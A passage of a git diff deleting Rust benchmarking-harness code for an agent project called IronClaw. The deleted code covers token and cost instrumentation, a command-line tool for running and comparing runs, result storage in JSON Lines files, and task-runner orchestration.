u64, - had_tool_calls: bool, - ) { - self.total_input_tokens - .fetch_add(input_tokens, Ordering::Relaxed); - self.total_output_tokens - .fetch_add(output_tokens, Ordering::Relaxed); - self.call_count.fetch_add(1, Ordering::Relaxed); - self.records.lock().await.push(LlmCallRecord { - input_tokens, - output_tokens, - duration_ms, - had_tool_calls, - }); - } -} - -#[async_trait] -impl LlmProvider for InstrumentedLlm { - fn model_name(&self) -> &str { - self.inner.model_name() - } - - fn cost_per_token(&self) -> (Decimal, Decimal) { - self.inner.cost_per_token() - } - - async fn complete(&self, request: CompletionRequest) -> Result { - let start = Instant::now(); - let response = self.inner.complete(request).await?; - let elapsed = start.elapsed().as_millis() as u64; - self.record( - response.input_tokens, - response.output_tokens, - elapsed, - false, - ) - .await; - Ok(response) - } - - async fn complete_with_tools( - &self, - request: ToolCompletionRequest, - ) -> Result { - let start = Instant::now(); - let response = self.inner.complete_with_tools(request).await?; - let elapsed = start.elapsed().as_millis() as u64; - let had_tool_calls = !response.tool_calls.is_empty(); - self.record( - response.input_tokens, - response.output_tokens, - elapsed, - had_tool_calls, - ) - .await; - Ok(response) - } - - async fn list_models(&self) -> Result, LlmError> { - self.inner.list_models().await - } -} - -#[cfg(test)] -mod tests { - use super::*; - use ironclaw::llm::{ChatMessage, CompletionRequest, CompletionResponse, FinishReason}; - - /// Fake LLM that returns a canned response with known token counts. - struct FakeLlm; - - #[async_trait] - impl LlmProvider for FakeLlm { - fn model_name(&self) -> &str { - "fake-model" - } - - fn cost_per_token(&self) -> (Decimal, Decimal) { - ( - Decimal::new(3, 6), // $0.000003 per input token - Decimal::new(15, 6), // $0.000015 per output token - ) - } - - async fn complete( - &self, - _request: CompletionRequest, - ) -> Result { - Ok(CompletionResponse { - content: "test response".to_string(), - input_tokens: 100, - output_tokens: 50, - finish_reason: FinishReason::Stop, - response_id: None, - }) - } - - async fn complete_with_tools( - &self, - _request: ToolCompletionRequest, - ) -> Result { - Ok(ToolCompletionResponse { - content: Some("tool response".to_string()), - tool_calls: vec![], - input_tokens: 200, - output_tokens: 100, - finish_reason: FinishReason::Stop, - response_id: None, - }) - } - } - - #[tokio::test] - async fn test_instrumented_records_metrics() { - let inner = Arc::new(FakeLlm); - let instrumented = InstrumentedLlm::new(inner); - - let request = CompletionRequest::new(vec![ChatMessage::user("hello")]); - let _ = instrumented.complete(request).await.unwrap(); - - assert_eq!(instrumented.call_count(), 1); - assert_eq!(instrumented.total_input_tokens(), 100); - assert_eq!(instrumented.total_output_tokens(), 50); - - let records = instrumented.take_records().await; - assert_eq!(records.len(), 1); - assert_eq!(records[0].input_tokens, 100); - assert!(!records[0].had_tool_calls); - } - - #[tokio::test] - async fn test_instrumented_cost_calculation() { - let inner = Arc::new(FakeLlm); - let instrumented = InstrumentedLlm::new(inner); - - let request = CompletionRequest::new(vec![ChatMessage::user("hello")]); - let _ = instrumented.complete(request).await.unwrap(); - - // 100 * 0.000003 + 50 * 0.000015 = 0.0003 + 0.00075 = 0.00105 - let cost = instrumented.estimated_cost(); - assert!((cost - 0.00105).abs() < 0.0001); - } - - #[tokio::test] - async fn test_instrumented_reset() { - let inner = Arc::new(FakeLlm); - let instrumented = InstrumentedLlm::new(inner); - - let request = CompletionRequest::new(vec![ChatMessage::user("hello")]); - let _ = instrumented.complete(request).await.unwrap(); - assert_eq!(instrumented.call_count(), 1); - - instrumented.reset().await; - assert_eq!(instrumented.call_count(), 0); - assert_eq!(instrumented.total_input_tokens(), 0); - - let records = instrumented.take_records().await; - assert!(records.is_empty()); - } -} diff --git a/benchmarks/src/main.rs b/benchmarks/src/main.rs deleted file mode 100644 index 94a6e331..00000000 --- a/benchmarks/src/main.rs +++ /dev/null @@ -1,313 +0,0 @@ -mod adapters; -mod channel; -mod config; -mod error; -mod instrumented_llm; -mod results; -mod runner; -mod scoring; -mod suite; - -use std::path::PathBuf; -use std::sync::Arc; - -use clap::{Parser, Subcommand}; -use tracing_subscriber::{EnvFilter, layer::SubscriberExt, util::SubscriberInitExt}; -use uuid::Uuid; - -use crate::config::BenchConfig; - -#[derive(Parser)] -#[command(name = "ironclaw-bench", about = "IronClaw benchmarking harness")] -struct Cli { - #[command(subcommand)] - command: Commands, -} - -#[derive(Subcommand)] -enum Commands { - /// Run a benchmark suite. - Run { - /// Suite to run (custom, gaia, spot, tau_bench, swe_bench). - #[arg(long)] - suite: String, - - /// Path to bench config TOML. - #[arg(long)] - config: Option, - - /// Override model for all matrix entries. - #[arg(long)] - model: Option, - - /// Max tasks to run in parallel. - #[arg(long)] - parallelism: Option, - - /// Sample N tasks from the suite (for quick testing). - #[arg(long)] - sample: Option, - - /// Only run these task IDs (comma-separated). - #[arg(long, value_delimiter = ',')] - task_ids: Option>, - - /// Only run tasks with these tags (comma-separated). - #[arg(long, value_delimiter = ',')] - tags: Option>, - - /// Per-task timeout in seconds. - #[arg(long)] - timeout_secs: Option, - - /// Override results directory. - #[arg(long)] - results_dir: Option, - - /// Resume a previous run by ID. - #[arg(long)] - resume: Option, - }, - - /// Show results for a run. - Results { - /// Run ID or "latest". - #[arg(default_value = "latest")] - run_id: String, - - /// Output format. - #[arg(long, default_value = "table")] - format: ResultsFormat, - - /// Override results directory. - #[arg(long)] - results_dir: Option, - }, - - /// Compare two runs. - Compare { - /// Baseline run ID. - baseline: Uuid, - - /// Comparison run ID. - comparison: Uuid, - - /// Override results directory. - #[arg(long)] - results_dir: Option, - }, - - /// List available benchmark suites. - List, -} - -#[derive(Clone, Debug, clap::ValueEnum)] -enum ResultsFormat { - Table, - Json, - Csv, -} - -#[tokio::main] -async fn main() -> anyhow::Result<()> { - let cli = Cli::parse(); - - tracing_subscriber::registry() - .with( - EnvFilter::try_from_default_env() - .unwrap_or_else(|_| EnvFilter::new("ironclaw_bench=info,ironclaw=warn")), - ) - .with(tracing_subscriber::fmt::layer().with_target(false)) - .init(); - - match cli.command { - Commands::List => { - println!("Available benchmark suites:\n"); - for (id, desc) in adapters::KNOWN_SUITES { - println!(" {:<15} {}", id, desc); - } - println!(); - } - Commands::Run { - suite, - config: config_path, - model, - parallelism, - sample, - task_ids, - tags, - timeout_secs, - results_dir, - resume, - } => { - // Load or create config - let mut bench_config = if let Some(ref path) = config_path { - BenchConfig::from_file(path)? - } else { - BenchConfig::minimal(model.clone()) - }; - - // Apply CLI overrides - if let Some(p) = parallelism { - bench_config.parallelism = p; - } - if let Some(t) = timeout_secs { - bench_config.task_timeout = std::time::Duration::from_secs(t); - } - if let Some(ref dir) = results_dir { - bench_config.results_dir = dir.clone(); - } - - // If model override specified and we have matrix entries, update them - if let Some(ref m) = model { - for entry in &mut bench_config.matrix { - entry.model = Some(m.clone()); - } - } - - // Create suite - let bench_suite = adapters::create_suite(&suite, &bench_config)?; - - // Initialize ironclaw LLM provider - let ironclaw_config = ironclaw::Config::from_env().await.map_err(|e| { - anyhow::anyhow!( - "Failed to load ironclaw config: {}. Make sure .env is configured.", - e - ) - })?; - - let session = ironclaw::llm::create_session_manager(ironclaw::llm::SessionConfig { - auth_base_url: ironclaw_config.llm.nearai.auth_base_url.clone(), - session_path: ironclaw_config.llm.nearai.session_path.clone(), - }) - .await; - session.ensure_authenticated().await?; - - let llm = ironclaw::llm::create_llm_provider(&ironclaw_config.llm, session)?; - let safety = Arc::new(ironclaw::safety::SafetyLayer::new(&ironclaw_config.safety)); - - let runner = runner::BenchRunner::new(bench_suite, bench_config.clone(), llm, safety); - - // Run for each matrix entry - for matrix_entry in &bench_config.matrix { - let run_id = runner - .run( - matrix_entry, - sample, - task_ids.as_deref(), - tags.as_deref(), - resume, - ) - .await?; - println!("Run complete: {}", run_id); - } - } - Commands::Results { - run_id, - format, - results_dir, - } => { - let base = results_dir.unwrap_or_else(|| PathBuf::from("./bench-results")); - let uuid = if run_id == "latest" { - results::find_latest_run(&base)? - .ok_or_else(|| anyhow::anyhow!("No runs found in {}", base.display()))? - } else { - Uuid::parse_str(&run_id)? - }; - - let json_path = results::run_json_path(&base, uuid); - let jsonl_path = results::tasks_jsonl_path(&base, uuid); - - let run = results::read_run_result(&json_path)?; - let tasks = results::read_task_results(&jsonl_path)?; - - match format { - ResultsFormat::Table => { - results::print_results_table(&tasks, &run); - } - ResultsFormat::Json => { - let output = serde_json::json!({ - "run": run, - "tasks": tasks, - }); - println!("{}", serde_json::to_string_pretty(&output)?); - } - ResultsFormat::Csv => { - println!("task_id,score,label,tokens,cost,turns,time_s"); - for task in &tasks { - println!( - "{},{:.3},{},{},{:.4},{},{:.1}", - task.task_id, - task.score.value, - task.score.label, - task.trace.input_tokens + task.trace.output_tokens, - task.trace.estimated_cost_usd, - task.trace.turns, - task.trace.wall_time_ms as f64 / 1000.0, - ); - } - } - } - } - Commands::Compare { - baseline, - comparison, - results_dir, - } => { - let base = results_dir.unwrap_or_else(|| PathBuf::from("./bench-results")); - - let baseline_run = results::read_run_result(&results::run_json_path(&base, baseline))?; - let comparison_run = - results::read_run_result(&results::run_json_path(&base, comparison))?; - - println!("\nComparison: {} vs {}\n", baseline, comparison); - println!( - "{:<20} {:>12} {:>12} {:>10}", - "Metric", "Baseline", "Comparison", "Delta" - ); - println!("{}", "-".repeat(58)); - - let pass_delta = comparison_run.pass_rate - baseline_run.pass_rate; - println!( - "{:<20} {:>11.1}% {:>11.1}% {:>+9.1}%", - "Pass rate", - baseline_run.pass_rate * 100.0, - comparison_run.pass_rate * 100.0, - pass_delta * 100.0, - ); - - let score_delta = comparison_run.avg_score - baseline_run.avg_score; - println!( - "{:<20} {:>12.3} {:>12.3} {:>+10.3}", - "Avg score", baseline_run.avg_score, comparison_run.avg_score, score_delta, - ); - - let cost_delta = comparison_run.total_cost_usd - baseline_run.total_cost_usd; - println!( - "{:<20} {:>11.4}$ {:>11.4}$ {:>+9.4}$", - "Total cost", - baseline_run.total_cost_usd, - comparison_run.total_cost_usd, - cost_delta, - ); - - let time_b = baseline_run.total_wall_time_ms as f64 / 1000.0; - let time_c = comparison_run.total_wall_time_ms as f64 / 1000.0; - println!( - "{:<20} {:>11.1}s {:>11.1}s {:>+9.1}s", - "Total time", - time_b, - time_c, - time_c - time_b, - ); - - println!( - "{:<20} {:>12} {:>12}", - "Model", baseline_run.model, comparison_run.model, - ); - println!(); - } - } - - Ok(()) -} diff --git a/benchmarks/src/results.rs b/benchmarks/src/results.rs deleted file mode 100644 index 2013ed26..00000000 --- a/benchmarks/src/results.rs +++ /dev/null @@ -1,473 +0,0 @@ -use std::collections::HashSet; -use std::io::{BufRead, Write}; -use std::path::{Path, PathBuf}; - -use chrono::{DateTime, Utc}; -use uuid::Uuid; - -use crate::error::BenchError; -use crate::suite::BenchScore; - -/// Metrics from a single task run: LLM usage, timing, tool calls. -#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)] -pub struct Trace { - pub wall_time_ms: u64, - pub llm_calls: u32, - pub input_tokens: u32, - pub output_tokens: u32, - pub estimated_cost_usd: f64, - pub tool_calls: Vec, - pub turns: u32, - pub hit_iteration_limit: bool, - pub hit_timeout: bool, -} - -#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)] -pub struct TraceToolCall { - pub name: String, - pub duration_ms: u64, - pub success: bool, -} - -/// Result of running a single benchmark task. -#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)] -pub struct TaskResult { - pub task_id: String, - pub suite_id: String, - pub score: BenchScore, - pub trace: Trace, - pub response: String, - pub started_at: DateTime, - pub finished_at: DateTime, - pub config_label: String, - #[serde(default)] - pub error: Option, -} - -/// Aggregate results for a full benchmark run. -#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)] -pub struct RunResult { - pub run_id: Uuid, - pub suite_id: String, - pub config_label: String, - pub model: String, - /// Short git commit hash at the time of the run. - #[serde(default)] - pub commit_hash: String, - pub pass_rate: f64, - pub avg_score: f64, - pub total_tasks: usize, - pub completed_tasks: usize, - pub total_cost_usd: f64, - pub total_wall_time_ms: u64, - pub started_at: DateTime, - pub finished_at: DateTime, -} - -impl RunResult { - /// Build aggregate from individual task results. - #[allow(clippy::too_many_arguments)] - pub fn from_tasks( - run_id: Uuid, - suite_id: &str, - config_label: &str, - model: &str, - commit_hash: &str, - total_tasks: usize, - tasks: &[TaskResult], - started_at: DateTime, - ) -> Self { - let pass_count = tasks.iter().filter(|t| t.score.value >= 1.0).count(); - let pass_rate = if tasks.is_empty() { - 0.0 - } else { - pass_count as f64 / tasks.len() as f64 - }; - let avg_score = if tasks.is_empty() { - 0.0 - } else { - tasks.iter().map(|t| t.score.value).sum::() / tasks.len() as f64 - }; - let total_cost: f64 = tasks.iter().map(|t| t.trace.estimated_cost_usd).sum(); - let total_wall: u64 = tasks.iter().map(|t| t.trace.wall_time_ms).sum(); - - Self { - run_id, - suite_id: suite_id.to_string(), - config_label: config_label.to_string(), - model: model.to_string(), - commit_hash: commit_hash.to_string(), - pass_rate, - avg_score, - total_tasks, - completed_tasks: tasks.len(), - total_cost_usd: total_cost, - total_wall_time_ms: total_wall, - started_at, - finished_at: Utc::now(), - } - } -} - -/// Append a single task result as one JSON line to the JSONL file. -pub fn append_task_result(path: &Path, result: &TaskResult) -> Result<(), BenchError> { - let mut file = std::fs::OpenOptions::new() - .create(true) - .append(true) - .open(path)?; - let line = serde_json::to_string(result)?; - writeln!(file, "{line}")?; - Ok(()) -} - -/// Overwrite the JSONL file with the given results (used after scoring). -pub fn write_task_results(path: &Path, results: &[TaskResult]) -> Result<(), BenchError> { - let mut file = std::fs::File::create(path)?; - for result in results { - let line = serde_json::to_string(result)?; - writeln!(file, "{line}")?; - } - Ok(()) -} - -/// Read all task results from a JSONL file. -pub fn read_task_results(path: &Path) -> Result, BenchError> { - if !path.exists() { - return Ok(Vec::new()); - } - let file = std::fs::File::open(path)?; - let reader = std::io::BufReader::new(file); - let mut results = Vec::new(); - for line in reader.lines() { - let line = line?; - let trimmed = line.trim(); - if trimmed.is_empty() { - continue; - } - let result: TaskResult = serde_json::from_str(trimmed)?; - results.push(result); - } - Ok(results) -} - -/// Write the aggregate run result as JSON. -pub fn write_run_result(path: &Path, result: &RunResult) -> Result<(), BenchError> { - let json = serde_json::to_string_pretty(result)?; - std::fs::write(path, json)?; - Ok(()) -} - -/// Read the aggregate run result from JSON. -pub fn read_run_result(path: &Path) -> Result { - let json = std::fs::read_to_string(path)?; - let result: RunResult = serde_json::from_str(&json)?; - Ok(result) -} - -/// Get the set of already-completed task IDs from a JSONL file (for resume). -/// -/// Only includes tasks that have been scored (label != "pending"). Tasks that -/// were written but not scored (e.g., from an interrupted run) will be re-executed. -pub fn completed_task_ids(path: &Path) -> Result, BenchError> { - let results = read_task_results(path)?; - Ok(results - .into_iter() - .filter(|r| r.score.label != "pending") - .map(|r| r.task_id) - .collect()) -} - -/// Get the results directory for a specific run. -pub fn run_dir(base: &Path, run_id: Uuid) -> PathBuf { - base.join(run_id.to_string()) -} - -/// Get the tasks JSONL path for a run. -pub fn tasks_jsonl_path(base: &Path, run_id: Uuid) -> PathBuf { - run_dir(base, run_id).join("tasks.jsonl") -} - -/// Get the run JSON path for a run. -pub fn run_json_path(base: &Path, run_id: Uuid) -> PathBuf { - run_dir(base, run_id).join("run.json") -} - -/// Find the latest run directory by the modification time of its `run.json`. -/// -/// Falls back to `tasks.jsonl` mtime, then directory mtime. This avoids the -/// issue where modifying files inside a directory doesn't update the directory's -/// mtime on many filesystems. -pub fn find_latest_run(base: &Path) -> Result, BenchError> { - if !base.exists() { - return Ok(None); - } - let mut entries: Vec<_> = std::fs::read_dir(base)? - .filter_map(|e| e.ok()) - .filter(|e| e.file_type().map(|ft| ft.is_dir()).unwrap_or(false)) - .filter_map(|e| { - let name = e.file_name().to_string_lossy().to_string(); - let uuid = Uuid::parse_str(&name).ok()?; - let dir_path = e.path(); - // Prefer run.json mtime, fall back to tasks.jsonl, then directory - let modified = std::fs::metadata(dir_path.join("run.json")) - .and_then(|m| m.modified()) - .or_else(|_| { - std::fs::metadata(dir_path.join("tasks.jsonl")).and_then(|m| m.modified()) - }) - .or_else(|_| e.metadata().and_then(|m| m.modified())) - .ok()?; - Some((uuid, modified)) - }) - .collect(); - entries.sort_by(|a, b| b.1.cmp(&a.1)); - Ok(entries.first().map(|(uuid, _)| *uuid)) -} - -/// Print a summary table of task results. -pub fn print_results_table(tasks: &[TaskResult], run: &RunResult) { - println!(); - let commit_suffix = if run.commit_hash.is_empty() { - String::new() - } else { - format!(" | Commit: {}", run.commit_hash) - }; - println!( - "Run: {} | Suite: {} | Model: {}{}", - run.run_id, run.suite_id, run.model, commit_suffix - ); - println!( - "Pass rate: {:.1}% | Avg score: {:.3} | Tasks: {}/{} | Cost: ${:.4} | Time: {:.1}s", - run.pass_rate * 100.0, - run.avg_score, - run.completed_tasks, - run.total_tasks, - run.total_cost_usd, - run.total_wall_time_ms as f64 / 1000.0, - ); - println!(); - - // Header - println!( - "{:<30} {:>6} {:>7} {:>8} {:>10} {:>6} {:>8}", - "Task ID", "Score", "Label", "Tokens", "Cost", "Turns", "Time" - ); - println!("{}", "-".repeat(80)); - - for task in tasks { - let total_tokens = task.trace.input_tokens + task.trace.output_tokens; - let task_id_display = if task.task_id.len() > 28 { - let truncated: String = task.task_id.chars().take(25).collect(); - format!("{truncated}...") - } else { - task.task_id.clone() - }; - println!( - "{:<30} {:>6.3} {:>7} {:>8} {:>10.4} {:>6} {:>7.1}s", - task_id_display, - task.score.value, - task.score.label, - total_tokens, - task.trace.estimated_cost_usd, - task.trace.turns, - task.trace.wall_time_ms as f64 / 1000.0, - ); - } - println!(); -} - -#[cfg(test)] -mod tests { - use super::*; - - #[test] - fn test_run_result_from_tasks() { - let tasks = vec![ - TaskResult { - task_id: "t1".to_string(), - suite_id: "custom".to_string(), - score: BenchScore { - value: 1.0, - label: "pass".to_string(), - details: None, - }, - trace: Trace { - wall_time_ms: 1000, - llm_calls: 2, - input_tokens: 100, - output_tokens: 50, - estimated_cost_usd: 0.01, - tool_calls: vec![], - turns: 1, - hit_iteration_limit: false, - hit_timeout: false, - }, - response: "answer".to_string(), - started_at: Utc::now(), - finished_at: Utc::now(), - config_label: "default".to_string(), - error: None, - }, - TaskResult { - task_id: "t2".to_string(), - suite_id: "custom".to_string(), - score: BenchScore { - value: 0.0, - label: "fail".to_string(), - details: Some("wrong".to_string()), - }, - trace: Trace { - wall_time_ms: 2000, - llm_calls: 3, - input_tokens: 200, - output_tokens: 100, - estimated_cost_usd: 0.02, - tool_calls: vec![], - turns: 2, - hit_iteration_limit: false, - hit_timeout: false, - }, - response: "wrong answer".to_string(), - started_at: Utc::now(), - finished_at: Utc::now(), - config_label: "default".to_string(), - error: None, - }, - ]; - - let run = RunResult::from_tasks( - Uuid::new_v4(), - "custom", - "default", - "test-model", - "abc1234", - 2, - &tasks, - Utc::now(), - ); - - assert_eq!(run.pass_rate, 0.5); - assert_eq!(run.avg_score, 0.5); - assert_eq!(run.total_tasks, 2); - assert_eq!(run.completed_tasks, 2); - assert!((run.total_cost_usd - 0.03).abs() < f64::EPSILON); - assert_eq!(run.total_wall_time_ms, 3000); - } - - #[test] - fn test_jsonl_roundtrip() { - let dir = tempfile::tempdir().expect("temp dir"); - let path = dir.path().join("tasks.jsonl"); - - let result = TaskResult { - task_id: "round-trip-test".to_string(), - suite_id: "custom".to_string(), - score: BenchScore::pass(), - trace: Trace { - wall_time_ms: 500, - llm_calls: 1, - input_tokens: 10, - output_tokens: 5, - estimated_cost_usd: 0.001, - tool_calls: vec![], - turns: 1, - hit_iteration_limit: false, - hit_timeout: false, - }, - response: "hello".to_string(), - started_at: Utc::now(), - finished_at: Utc::now(), - config_label: "test".to_string(), - error: None, - }; - - append_task_result(&path, &result).expect("append"); - append_task_result(&path, &result).expect("append"); - - let loaded = read_task_results(&path).expect("read"); - assert_eq!(loaded.len(), 2); - assert_eq!(loaded[0].task_id, "round-trip-test"); - } - - #[test] - fn test_completed_task_ids() { - let dir = tempfile::tempdir().expect("temp dir"); - let path = dir.path().join("tasks.jsonl"); - - let result = TaskResult { - task_id: "unique-id-1".to_string(), - suite_id: "custom".to_string(), - score: BenchScore::pass(), - trace: Trace { - wall_time_ms: 100, - llm_calls: 1, - input_tokens: 10, - output_tokens: 5, - estimated_cost_usd: 0.0, - tool_calls: vec![], - turns: 1, - hit_iteration_limit: false, - hit_timeout: false, - }, - response: "x".to_string(), - started_at: Utc::now(), - finished_at: Utc::now(), - config_label: "test".to_string(), - error: None, - }; - append_task_result(&path, &result).expect("append"); - - let ids = completed_task_ids(&path).expect("ids"); - assert!(ids.contains("unique-id-1")); - assert!(!ids.contains("unique-id-2")); - } - - #[test] - fn test_write_task_results_overwrites() { - let dir = tempfile::tempdir().expect("temp dir"); - let path = dir.path().join("tasks.jsonl"); - - // Write initial "pending" result via append - let pending = TaskResult { - task_id: "t1".to_string(), - suite_id: "spot".to_string(), - score: BenchScore { - value: 0.0, - label: "pending".to_string(), - details: None, - }, - trace: Trace { - wall_time_ms: 100, - llm_calls: 1, - input_tokens: 10, - output_tokens: 5, - estimated_cost_usd: 0.001, - tool_calls: vec![], - turns: 1, - hit_iteration_limit: false, - hit_timeout: false, - }, - response: "42".to_string(), - started_at: Utc::now(), - finished_at: Utc::now(), - config_label: "default".to_string(), - error: None, - }; - append_task_result(&path, &pending).expect("append"); - - // Verify pending score - let before = read_task_results(&path).expect("read"); - assert_eq!(before.len(), 1); - assert_eq!(before[0].score.label, "pending"); - - // Overwrite with scored result - let mut scored = pending; - scored.score = BenchScore::pass(); - write_task_results(&path, &[scored]).expect("write"); - - // Verify scored result replaced pending - let after = read_task_results(&path).expect("read"); - assert_eq!(after.len(), 1); - assert_eq!(after[0].score.label, "pass"); - assert_eq!(after[0].score.value, 1.0); - } -} diff --git a/benchmarks/src/runner.rs b/benchmarks/src/runner.rs deleted file mode 100644 index d924582e..00000000 --- a/benchmarks/src/runner.rs +++ /dev/null @@ -1,550 +0,0 @@ -use std::collections::{HashMap, HashSet}; -use std::sync::Arc; -use std::time::Instant; - -use chrono::Utc; -use tokio::sync::Mutex; -use uuid::Uuid; - -use ironclaw::agent::{Agent, AgentDeps}; -use ironclaw::channels::{ChannelManager, IncomingMessage}; -use ironclaw::config::AgentConfig; -use ironclaw::llm::LlmProvider; -use ironclaw::safety::SafetyLayer; -use ironclaw::tools::ToolRegistry; - -use crate::channel::BenchChannel; -use crate::config::{BenchConfig, MatrixEntry}; -use crate::error::BenchError; -use crate::instrumented_llm::InstrumentedLlm; -use crate::results::{ - RunResult, TaskResult, Trace, append_task_result, completed_task_ids, run_dir, run_json_path, - tasks_jsonl_path, write_run_result, write_task_results, -}; -use crate::suite::{BenchSuite, BenchTask, ConversationTurn, TaskSubmission, TurnRole}; - -/// Parameters for running a single task in isolation. -struct TaskRunParams<'a> { - task: &'a BenchTask, - suite_id: &'a str, - config_label: &'a str, - llm: Arc, - safety: Arc, - timeout: std::time::Duration, - additional_tools: &'a [Arc], -} - -/// Orchestrates benchmark execution: loads tasks, runs agent per task, -/// scores results, writes JSONL output. -pub struct BenchRunner { - suite: Arc, - config: BenchConfig, - llm: Arc, - safety: Arc, -} - -impl BenchRunner { - pub fn new( - suite: Box, - config: BenchConfig, - llm: Arc, - safety: Arc, - ) -> Self { - Self { - suite: Arc::from(suite), - config, - llm, - safety, - } - } - - /// Run the benchmark for one matrix entry. - /// - /// Returns the run_id for result retrieval. - pub async fn run( - &self, - matrix: &MatrixEntry, - sample: Option, - task_filter: Option<&[String]>, - tag_filter: Option<&[String]>, - resume_run_id: Option, - ) -> Result { - let run_id = resume_run_id.unwrap_or_else(Uuid::new_v4); - let results_base = &self.config.results_dir; - let dir = run_dir(results_base, run_id); - std::fs::create_dir_all(&dir)?; - - let jsonl_path = tasks_jsonl_path(results_base, run_id); - let json_path = run_json_path(results_base, run_id); - - // Load completed task IDs for resume support - let completed: HashSet = if resume_run_id.is_some() { - completed_task_ids(&jsonl_path)? - } else { - HashSet::new() - }; - - if !completed.is_empty() { - tracing::info!( - "Resuming run {}: {} tasks already completed", - run_id, - completed.len() - ); - } - - // Load all tasks once (used for both execution and scoring) - let all_tasks = self.suite.load_tasks().await?; - let task_index: HashMap = all_tasks - .iter() - .map(|t| (t.id.clone(), t.clone())) - .collect(); - - // Filter tasks for execution - let mut tasks = all_tasks; - - if let Some(ids) = task_filter { - let id_set: HashSet<&str> = ids.iter().map(|s| s.as_str()).collect(); - tasks.retain(|t| id_set.contains(t.id.as_str())); - } - - if let Some(tags) = tag_filter { - let tag_set: HashSet<&str> = tags.iter().map(|s| s.as_str()).collect(); - tasks.retain(|t| t.tags.iter().any(|tag| tag_set.contains(tag.as_str()))); - } - - // Filter out already-completed tasks - tasks.retain(|t| !completed.contains(&t.id)); - - // Sample if requested - if let Some(n) = sample { - tasks.truncate(n); - } - - let total_tasks = tasks.len() + completed.len(); - let model_label = matrix.model.as_deref().unwrap_or(self.llm.model_name()); - let commit_hash = git_short_hash(); - tracing::info!( - "[{} @ {}] Running {} tasks for suite '{}' (run: {})", - model_label, - commit_hash, - tasks.len(), - self.suite.id(), - run_id - ); - - let started_at = Utc::now(); - let all_results: Arc>> = - Arc::new(Mutex::new(Vec::with_capacity(tasks.len()))); - - if self.config.parallelism <= 1 { - // Sequential execution - let additional_tools = self.suite.additional_tools(); - for (i, task) in tasks.iter().enumerate() { - tracing::info!( - "[{}/{}] Running task: {}", - i + 1 + completed.len(), - total_tasks, - task.id - ); - if let Err(e) = self.suite.setup_task(task).await { - tracing::warn!("setup_task failed for {}: {}", task.id, e); - let result = make_error_result( - task, - self.suite.id(), - &matrix.label, - Utc::now(), - &format!("setup_task failed: {e}"), - ); - append_task_result(&jsonl_path, &result)?; - all_results.lock().await.push(result); - continue; - } - let params = TaskRunParams { - task, - suite_id: self.suite.id(), - config_label: &matrix.label, - llm: Arc::clone(&self.llm), - safety: Arc::clone(&self.safety), - timeout: task.timeout.unwrap_or(self.config.task_timeout), - additional_tools: &additional_tools, - }; - let result = run_task_isolated(params).await; - if let Err(e) = self.suite.teardown_task(task).await { - tracing::warn!("teardown_task failed for {}: {}", task.id, e); - } - append_task_result(&jsonl_path, &result)?; - all_results.lock().await.push(result); - } - } else { - // Parallel execution with bounded concurrency - let semaphore = Arc::new(tokio::sync::Semaphore::new(self.config.parallelism)); - let shared_tools: Arc<[Arc]> = - Arc::from(self.suite.additional_tools()); - - let mut handles = Vec::new(); - for (i, task) in tasks.into_iter().enumerate() { - let sem = Arc::clone(&semaphore); - let suite = Arc::clone(&self.suite); - let config_label = matrix.label.clone(); - let llm = Arc::clone(&self.llm); - let safety = Arc::clone(&self.safety); - let timeout = task.timeout.unwrap_or(self.config.task_timeout); - let results_ref = Arc::clone(&all_results); - let completed_count = completed.len(); - let total = total_tasks; - let additional_tools = Arc::clone(&shared_tools); - - handles.push(tokio::spawn(async move { - let _permit = match sem.acquire().await { - Ok(p) => p, - Err(_) => { - tracing::error!("Semaphore closed for task {}", task.id); - return; - } - }; - tracing::info!( - "[{}/{}] Running task: {}", - i + 1 + completed_count, - total, - task.id - ); - if let Err(e) = suite.setup_task(&task).await { - tracing::warn!("setup_task failed for {}: {}", task.id, e); - let result = make_error_result( - &task, - suite.id(), - &config_label, - Utc::now(), - &format!("setup_task failed: {e}"), - ); - results_ref.lock().await.push(result); - return; - } - let suite_id = suite.id().to_string(); - let params = TaskRunParams { - task: &task, - suite_id: &suite_id, - config_label: &config_label, - llm, - safety, - timeout, - additional_tools: &additional_tools, - }; - let result = run_task_isolated(params).await; - if let Err(e) = suite.teardown_task(&task).await { - tracing::warn!("teardown_task failed for {}: {}", task.id, e); - } - results_ref.lock().await.push(result); - })); - } - - for handle in handles { - if let Err(e) = handle.await { - tracing::error!("Task panicked: {}", e); - } - } - - // Write all results to JSONL after parallel execution completes. - // This avoids the race condition of concurrent file appends. - let results = all_results.lock().await; - for result in results.iter() { - append_task_result(&jsonl_path, result)?; - } - } - - // Score all results using the cached task index - let results = all_results.lock().await; - let mut scored: Vec = Vec::with_capacity(results.len()); - for result in results.iter() { - if let Some(task) = task_index.get(&result.task_id) { - let submission = TaskSubmission { - response: result.response.clone(), - conversation: vec![], - tool_calls: result - .trace - .tool_calls - .iter() - .map(|tc| tc.name.clone()) - .collect(), - error: result.error.clone(), - }; - match self.suite.score(task, &submission).await { - Ok(score) => { - let mut scored_result = result.clone(); - scored_result.score = score; - scored.push(scored_result); - } - Err(e) => { - tracing::warn!("Scoring failed for {}: {}", result.task_id, e); - scored.push(result.clone()); - } - } - } else { - scored.push(result.clone()); - } - } - - // Combine with any previously completed results for the aggregate - let mut all_for_aggregate = crate::results::read_task_results(&jsonl_path)?; - // De-duplicate (prefer the newer scored versions) - let scored_ids: HashSet = scored.iter().map(|r| r.task_id.clone()).collect(); - all_for_aggregate.retain(|r| !scored_ids.contains(&r.task_id)); - all_for_aggregate.extend(scored); - - // Rewrite JSONL with scored results so `results` command shows final scores - write_task_results(&jsonl_path, &all_for_aggregate)?; - - let model_name = matrix.model.as_deref().unwrap_or(self.llm.model_name()); - - let run_result = RunResult::from_tasks( - run_id, - self.suite.id(), - &matrix.label, - model_name, - &commit_hash, - total_tasks, - &all_for_aggregate, - started_at, - ); - - write_run_result(&json_path, &run_result)?; - - tracing::info!( - "[{} @ {}] Run {} complete: {:.1}% pass rate, {:.3} avg score, ${:.4} cost", - model_name, - commit_hash, - run_id, - run_result.pass_rate * 100.0, - run_result.avg_score, - run_result.total_cost_usd, - ); - - Ok(run_id) - } -} - -/// Run a single benchmark task in complete isolation. -/// -/// Creates a fresh Agent + BenchChannel + InstrumentedLlm for the task, -/// injects the prompt, waits for the response, and returns the result. -/// -/// # Current limitations -/// -/// - **Single-turn only**: After the first assistant response, `/quit` is sent. -/// 